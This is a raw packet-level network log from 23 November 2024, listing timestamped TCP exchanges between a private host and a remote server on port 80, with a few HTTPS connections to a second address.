Nov 23, 2024 03:21:16.114011049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.114053965 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.114170074 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.114427090 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.114445925 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.114700079 CET	49773	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.114711046 CET	443	49773	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.114975929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.115020990 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.115092993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.115134954 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.116121054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.116167068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.116231918 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.116278887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.117253065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.117299080 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.117371082 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.117414951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.118392944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.118437052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.118508101 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.118551970 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.119501114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.119545937 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.261121035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.261167049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.261357069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.261693954 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.261770010 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.261831999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.261883020 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.262784958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.262833118 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.262895107 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.262938023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.263930082 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.263978958 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.264024019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.264065981 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.265054941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.265103102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.265170097 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.265218019 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.266213894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.266277075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.266314983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.266357899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.267340899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.267389059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.267458916 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.267503023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.268476009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.268522024 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.268580914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.268629074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.269614935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.269660950 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.269731045 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.269779921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.270754099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.270802021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.270889044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.270935059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.271895885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.271941900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.272001028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.272043943 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.273050070 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.273097992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.273158073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.273200989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.274172068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.274213076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.274281025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.274322987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.275310040 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.275357962 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.275417089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.275460005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.276448011 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.276511908 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.276551008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.276595116 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.277592897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.277638912 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.277703047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.277749062 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.278716087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.278760910 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.278839111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.278882027 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.279874086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.279980898 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.280026913 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.281025887 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.281136036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.281183004 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.282147884 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.282196999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.282257080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.282299042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.283288002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.283338070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.283401966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.283447027 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.284425974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.284547091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.284626961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.284640074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.285573006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.285617113 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.285686016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.285726070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.286736012 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.286801100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.286832094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.286870956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.287842035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.287887096 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.287952900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.287996054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.288975954 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.289022923 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.289140940 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.289182901 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.290122032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.290168047 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.290230989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.290273905 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.291275024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.291327953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.291358948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.291403055 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.292416096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.292459965 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.292521000 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.292562962 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.293534994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.293580055 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.293659925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.293704033 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.294689894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.294730902 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.294769049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.294815063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.295797110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.295841932 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.295912027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.295953989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.296931028 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.296993017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.297060013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.297102928 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.298146963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.298191071 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.298206091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.298249960 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.299210072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.299252987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.299320936 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.299362898 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.300342083 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.300385952 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.300452948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.300493956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.301512003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.301568985 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.301609039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.301656961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.302627087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.302673101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.302726030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.302772045 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.303802013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.303847075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.303926945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.303970098 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.304927111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.304970980 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.305028915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.305069923 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.306047916 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.306094885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.306173086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.306216002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.307184935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.307235003 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.307286024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.307332993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.308320999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.308339119 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.308363914 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.308377028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.309490919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.309535980 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.309601068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.309643984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.310611963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.310715914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.310758114 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.311755896 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.311806917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.311858892 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.312879086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.312930107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.312988997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.314017057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.314073086 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.314109087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.314630032 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.315171957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.315252066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.315310955 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.316308975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.316421032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.316467047 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.317428112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.317492008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.317534924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.318576097 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.318618059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.318698883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.318743944 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.319742918 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.319860935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.319905043 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.326972008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.330627918 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.431056023 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.431108952 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.431348085 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.431456089 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.431472063 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.431479931 CET	49772	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.431485891 CET	443	49772	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.434331894 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.434426069 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.434585094 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.434746027 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.434778929 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.462435007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.462568998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.462649107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.462990046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.463097095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.463145018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.464121103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.464168072 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.464184999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.464226961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.465271950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.465322018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.465441942 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.465540886 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.466420889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.466471910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.466527939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.467700958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.467902899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.467969894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.468682051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.468729973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.468765974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.468810081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.469814062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.469861984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.469932079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.469974995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.470949888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.470999956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.471033096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.471116066 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.472114086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.472232103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.472291946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.473247051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.473371029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.473426104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.474376917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.474426985 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.474431992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.474484921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.475509882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.475562096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.475608110 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.476648092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.476735115 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.476766109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.476815939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.477829933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.477968931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.478028059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.478912115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.479070902 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.479124069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.480062008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.480112076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.480171919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.480218887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.481208086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.481255054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.481312037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.481393099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.482383013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.482464075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.482511044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.483481884 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.483594894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.483654976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.484628916 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.484675884 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.484734058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.484999895 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.485045910 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.485121012 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.485225916 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.485272884 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.485279083 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.485286951 CET	49774	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.485291004 CET	443	49774	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.485763073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.485874891 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.485882044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.485923052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.486892939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.486948013 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.487020969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.487068892 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.487747908 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.487811089 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.487878084 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.488028049 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:16.488029003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.488060951 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:16.488078117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.488142967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.488224030 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.489175081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.489267111 CET	80	49760	31.41.244.11	192.168.2.4
